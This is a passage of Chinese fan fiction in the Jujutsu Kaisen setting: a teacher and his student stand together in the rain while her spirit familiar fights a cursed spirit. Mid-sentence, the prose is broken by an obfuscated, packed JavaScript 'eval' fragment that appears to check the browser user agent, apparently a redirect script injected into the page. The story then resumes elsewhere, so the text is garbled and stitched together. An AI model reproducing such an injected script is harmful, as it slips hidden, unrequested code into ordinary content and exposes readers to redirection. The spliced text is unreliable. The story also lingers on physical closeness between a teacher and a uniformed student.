她抬起头,看见他的下巴就在她额头上方。 此时的五条老师处于术式熔断期,雨水顺着他的下颌滴落,落在她唇边,凉凉的,一滴,两滴。 他的眼罩还挂在脖子上,苍蓝色的眼睛正看着她,近到能看见他瞳孔里自己的倒影。 “向对手的大脑灌入大量无效信息,导致目标的生理机能无法跟上,陷入完全停滞的状态。” 花野依站在他怀里,贴着他的胸口,能感觉到他的心跳比刚才快了一些,她收回了视线,转过头看向别处。 雨水打在他身上,没有无下限的隔绝,就那么直接地落下来。 淋湿了他的头发,发丝垂下来,贴在他的额头上,水珠顺着发梢滑落,滑过他的颧骨,滑过他的下颌,滴在她的头顶。 他的衬衫也湿透了,贴在身上,透出底下皮肤的色泽和肌肉的轮廓。 她的校服也是湿的,两个被雨淋透的人靠在一起,体温隔着两层湿透的布料传递过来,暖的,湿的,贴着皮肤。 她几乎能感受到他呼吸的幅度,胸口随着呼吸微微起伏,每一次起伏都让她贴得更紧一点。 她几乎能感受到他的心跳,从胸腔传过来,咚咚,咚咚,比平时快一些。 她自己的心跳也很快,不知道是因为刚才的领域,还是因为别的原因。 她的头发湿了,贴在脸颊上,水珠顺着发梢滴落,滴在他的手臂上。 花野依低下头,看见自己的手指还搭在他身侧,指节微微蜷曲着,不知道该松开还是该继续放着。 她的裙摆贴在他的裤腿上,湿漉漉的,皱巴巴的,分不清哪些水渍是自己的,哪些是他的。 雨声很大,噼噼啪啪的,盖过了很多东西但她还是听见了他的呼吸,就在她头顶,很近,近到能感觉到气息拂过她发丝的温度。 她不敢抬头。 她只是站在那里,站在他怀里,雨水从头顶浇下来,浇灭了所有的声音和思绪。 真是糟糕的教学,花野依想。 39.第三十九章 感受到身上冰冷的雨水,花野依有些不自在地退出了五条悟的怀抱,凉意从四面八方涌上来,贴上她被雨浸透的皮肤。 她的伞早就和神社一起化为了灰烬,脚下可以站立的地方只剩下这一小片废墟,往前一步是碎木和瓦砾,往后一步也是。 她只好站在五条悟身侧,肩膀缩着,手臂贴着身体,把自己收成很小的一团。 五条悟转过头看向她。 他此刻肉眼可见的心情愉悦,就算浑身湿透。 头发贴在额头上,水珠顺着颧骨往下淌,衬衫贴在身上,透出底下一片一片深色的痕迹,也不能打败他的好心情。 他的眼睛亮着,嘴角翘着,像是一个刚拆开礼物的小孩,迫不及待地想要炫耀自己得到的东西。 “小依。” 他举起左手,噗噗被他握在掌心里,圆滚滚的身体卡在他修长的手指间,小短腿在空中蹬着,发出不满的“噗叽”。 五条悟上下晃了晃它,语气愉悦,“让噗噗单独解决面前这只咒灵吧!” 没有五条悟怀抱的遮挡,雨水毫无遮拦地淋在花野依身上。 那些细密的雨丝落在她的头顶、额头、睫毛上,融化成一粒一粒的小水珠,顺着皮肤往下淌。 流进眼睛里,流进嘴角的缝隙里,流进衣领深处那些被体温捂暖的褶皱中。 她的头发被雨浸透了,原本蓬松的发丝沉沉地垂下来,贴着脸颊的弧度、贴着脖颈的曲线、贴着肩膀的轮廓。 雨水把她的面容泡得更加苍白,近乎透明、能看见太阳穴附近细细的青色血管的白。 雨水滑进眼睛,让她的视线变得模糊,她伸出手挡在额头上,掌心向下,像一个小小的屋檐,把那些不断滴落的雨丝挡在外面。 另一只手抬起来,指尖轻轻拂过睫毛,把那些挂在上面的一簇一簇的水珠抹去。 她的睫毛被雨打湿了,黏在一起,比平时显得更长更密,衬得那双圆润的眼睛更加水汪汪的。 鼻尖被雨淋得发红,嘴唇的颜色比平时浅一些,是被水浸泡过的那种淡粉色。 整个人看起来狼狈极了,像一只被雨浇透的、找不到地方躲的小动物,可怜兮兮的,却又让人忍不住多看两眼。 她看向五条悟手里的噗噗,又看了看远处那只呆滞的咒灵。 那只巨大的蠕虫还保持着被无量空处定住时的姿态,一动不动地蜷缩在废墟中间,灰白色的身体上覆着一层黏腻的液体。 花野依的语气有些不确定:“五条老师,噗噗单独解决的话,会不会有些勉强?” “欸——相信老师啦!” 五条悟把手里的噗噗塞进花野依怀里,噗噗撞在她胸口,发出一声闷闷的“噗叽”。 然后他双手握住花野依的肩膀,开始摇晃她,力道不重,像是一个撒娇的JK少女在央求什么, “快一点啦!人家现在全身湿漉漉的,想快点回去嘛!” 他的手掌很大,贴在她瘦削的肩头上,随着摇晃的动作,掌心一下一下地蹭着她被雨浸湿的校服,发出细微的、湿答答的摩擦声。 花野依被晃得视线模糊,眼前的世界变成一帧一帧跳动的画面。 五条悟的脸,灰白色的天空,废墟,噗噗,全都混在一起,摇来摇去。 “知道了!知道了!” 她伸出手,把搭在自己肩膀上的那两只手挪开,语气里带着无奈的妥协。 她低下头,看着怀里的噗噗,噗噗也抬起头看着她,那双黑豆一样的眼睛里倒映着她的脸,湿漉漉的,和她一样狼狈。 “噗噗,”花野依对着它嘱咐道,声音轻轻的。 “你自己一定要小心,觉得打不过的话就马上跑,知道吗?” “噗叽!” 噗噗像海带一样挥了挥手,小短腿在空中蹬了两下,从她怀里跳出去。 落地的瞬间,它的身体开始膨胀,从一只可以捧在手心里的小东西,变成了一只比花野依还高的、体型庞大的咒灵。 它用力一蹬,地面上的碎木屑被震得飞起来,整个身体腾空而起,稳稳地落在了那只咒灵面前。 “对了!” 五条悟的声音在花野依耳边响起,轻飘飘的,带着随意。 “还有一件事我忘记说了。” 花野依抖了抖身体,莫名地觉得不妙,每次他用这种语气说话,都不会是什么好事。 “那只咒灵大概在十分钟后就会醒过来。”他顿了顿,像是在计算什么,“要加快速度哦!” “老师!” 花野依有些焦急地看向噗噗。 噗噗正站在那只咒灵面前,和它比起来,噗噗的体型还不到对方的三分之一,像是一只站在蟒蛇面前的小猫。 她抬起脚想过去帮忙,脚尖刚离开地面,手臂就被抓住了。 五条悟的手指圈在她的小臂上,不紧不松,刚好让她挣不开,又不会觉得疼。 “不行” 他笑眯眯地看着她,眼睛弯成两道月牙,语气温和得像是在哄一个不愿意吃药的小孩。 被抓住的花野依语气急促起来,声音比平时高了一些:“但是!老师!噗噗它——” 五条悟伸出食指,抵住了她的嘴唇。 指腹微凉,贴在她被雨水泡得有些发皱的嘴唇上,把那些还没说出口的话全都堵了回去。 他的指尖能感觉到她嘴唇的温度,比她想象的凉,还有雨水和泥土混合的、淡淡的腥味。 “对噗噗有点信心吧。” 五条悟放开了她的手臂,手指从她嘴唇上移开,他低下头,把披在身上的外套脱下来。 那件深色的、已经被雨浸透的教师外套,沉甸甸的,被他拎在手里,水珠从衣摆上成串地往下滴。 他把它展开,披在了花野依的头顶。 雨水被挡住了。 那件外套很大,垂下来的时候,像一个小小的帐篷,把花野依整个人罩在里面。 外套上有他的体温,被雨水泡得只剩下一点点,若有若无的。 隔着那层湿透的布料,五条悟的声音传过来,闷闷的,模糊的,像是隔着一堵墙在说话:“还有老师在,放心吧。” “嗯。”花野依闷闷地应了一声。 没有了花野依的控制,噗噗的战斗可以用惨不忍睹来形容,它似乎完全没有战术,只是凭着本能在打。 胡乱的用藤蔓缠绕在咒灵身上,一圈一圈的,缠得很紧,但咒灵的身体太粗了,像是用绳子去捆一棵大树。 藤蔓被它越缠越紧,咒灵的身体被勒出一道一道的凹痕,但也仅此而已了。 咒灵的体型过于巨大,加上没有花野依咒力的支持。 噗噗的体型无法变得更大,它已经尽力了,但它张开的嘴还不到对方身体的三分之一,根本吞不下去。 十分钟很快就过去了。 咒灵的身体动了一下。 像是被电击了一样,那节巨大的、一节一节的躯体开始缓慢地蠕动,从尾部到头部,一节一节地苏醒过来。 那些缠绕在它身上的藤蔓被震碎了,像被捏碎的干树枝,发出细密的、清脆的断裂声,碎片四溅。 “噗叽!” 噗噗来不及反应,它的身体还在半空中,还没来得及落地,就被那只咒灵的身体甩了一下,像是甩掉身上的一只虫子。 噗噗的身体被拍进了地底,陷进那些碎木头和瓦砾里。 “噗噗!” 花野依心疼地看着不断挣扎的噗噗,下意识地抓住了五条悟的手臂。 她的手指陷进他被雨浸湿的袖口里,攥得很紧,指节泛白。 噗噗挣扎的动作越来越弱。 那些小短腿还在蹬,但幅度越来越小,越来越慢,像是一台正在耗尽最后一点电量的机器。 花野依的心跟着提起来,手上的力气不自觉地加重,指甲隔着衬衫掐进五条悟的手臂里。 五条悟没什么反应,他甚至侧了侧身,换了一个姿势,让花野依能更好地抓住他,抓得更舒服一些。 噗噗彻底失去了动静。 它的身体伏在废墟里,一动不动,头顶那片展开的叶子也耷拉下来,盖在它圆滚滚的脑袋上,被雨打得一颤一颤的。 那只咒灵转过身来。 它朝着花野依的位置,张开那张布满牙齿的嘴,发出一声尖锐的吼叫。 牙齿之间夹着绿色的、黏腻的液体,随着它的呼吸往外涌,发出腥臭的、让人作呕的气味。 声音刺穿了雨幕,刺穿了废墟,直直地灌进花野依的耳朵里,震得她耳膜发疼。 眨眼间,那只咒灵就已经蠕动到了花野依面前。 它的速度太快了,快到花野依的瞳孔还没来得及收缩,它那张巨大的、腥臭的嘴就已经近在咫尺。 她的手指动了动,咒力在体内运转起来,流向指尖—— 她的手被握住了 五条悟的手掌包住了她的手指,把那些正在运转的咒力按了回去。 花野依的手心很凉,被雨泡了太久,体温已经散得差不多了。 但那种凉意反而让花野依的脑子清醒了一些。 “不用”,五条悟的声音低低的带着笃定的意味。 尽管五条悟给予了花野依足够的安全感,他的手就握着她,他的人就站在她身边,但花野依还是忍不住为噗噗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五条悟的无下限隔开了原本打在花野依身上的雨水,那些冰冷的、细密的雨丝在距离她皮肤几厘米的地方被弹开,顺着那道无形的屏障滑落,一滴都沾不到她身上。 她的体温开始慢慢回升,指尖从冰凉变得温热,脸颊上被雨打得发白的颜色也慢慢褪去,重新泛起一点健康的、淡淡的粉色。 但花野依觉得她现在需要淋雨冷静冷静。 她的脑子太乱了,乱到像是被人倒进了一整箱拼图,所有的碎片都在飞,找不到一个可以落下来的地方。 五条悟弯下腰,把噗噗从地上抓起来。 噗噗被他拎在手里,小短腿蹬了蹬,发出一声抗议的“噗叽”,但他没有理会,拎着它走到那只只剩半截的咒灵面前。 那只咒灵虚弱地伏在地上,灰白色的身体只剩下前端那一小段,断口处还在往外渗着黑紫色的液体。 它已经没有任何力气反抗了,甚至连呻吟都发不出来,只是微微地、若有若无地起伏着,证明它还活着。 噗噗被五条悟放在咒灵面前,它看了一眼那只比自己大了不知道多少倍的、奄奄一息的咒灵,张开嘴,一口吞了下去。 “五条老师” 花野依抓着五条悟的手,看着眼前的场景,终于反应过来。 她的声音有些发飘,自己都不太确定,“这是……” “这是噗噗的能力——拟态!”五条悟嘴角上扬,弧度里带着得意。 他一只手牵着花野依,空出的那只手从口袋里掏出手机,屏幕亮起来,他的拇指在屏幕上飞快地点着,不知道在记什么,还是在查什么。 花野依的脑袋像是被灌满了,所有的信息都在里面搅,搅成一团糊状的东西,她怎么都理不清楚。 她觉得自己像是中了无量空处一样,所有的信息都灌进来了。 她的脑子处理不了,只能呆愣在原地,眼睛睁着,看着面前那只正在打饱嗝的噗噗,什么都说不出来。 五条悟收回手机,屏幕暗下去,被他揣进口袋里。 他看了一眼花野依那副呆愣愣的模样,又看了一眼噗噗,感叹道 “如果不是确定噗噗是只咒灵,不然说不定它千年之前和我是一家也说不定。” 他说完,自己先笑了起来,好像觉得这个想法很有趣。 雨无下限隔开了雨水,他站在那片干燥的空气里,浑身还是湿的,头发贴在脸上,衬衫贴在身上。